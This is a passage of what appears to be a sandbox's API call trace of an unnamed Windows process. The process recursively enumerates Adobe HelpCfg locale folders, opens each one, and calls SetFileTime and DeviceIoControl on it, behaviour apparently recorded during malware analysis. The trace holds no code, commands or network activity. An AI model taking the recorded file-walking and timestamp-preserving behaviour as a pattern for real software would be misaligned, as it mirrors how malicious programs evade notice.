dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0085.963] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0085.963] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0085.963] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0085.963] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0085.963] GetLastError () returned 0x12 [0085.963] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0085.963] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0085.963] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.963] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0085.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0085.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.997] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0085.997] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0085.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.998] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0085.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.999] NtClose (Handle=0x180) returned 0x0 [0085.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0085.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0085.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.000] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.000] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.000] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb0c8 [0086.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8428 [0086.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.002] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.002] GetLastError () returned 0x12 [0086.002] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.002] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.002] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.003] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.003] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.003] GetLastError () returned 0x12 [0086.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.003] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.004] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0086.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.041] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.041] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.042] NtClose (Handle=0x168) returned 0x0 [0086.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.043] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb0e8 [0086.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8530 [0086.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.045] GetLastError () returned 0x12 [0086.045] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.046] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.046] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.046] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.046] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.046] GetLastError () returned 0x12 [0086.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.046] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.047] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0086.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.047] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.137] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.137] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.138] NtClose (Handle=0x180) returned 0x0 [0086.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.139] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, 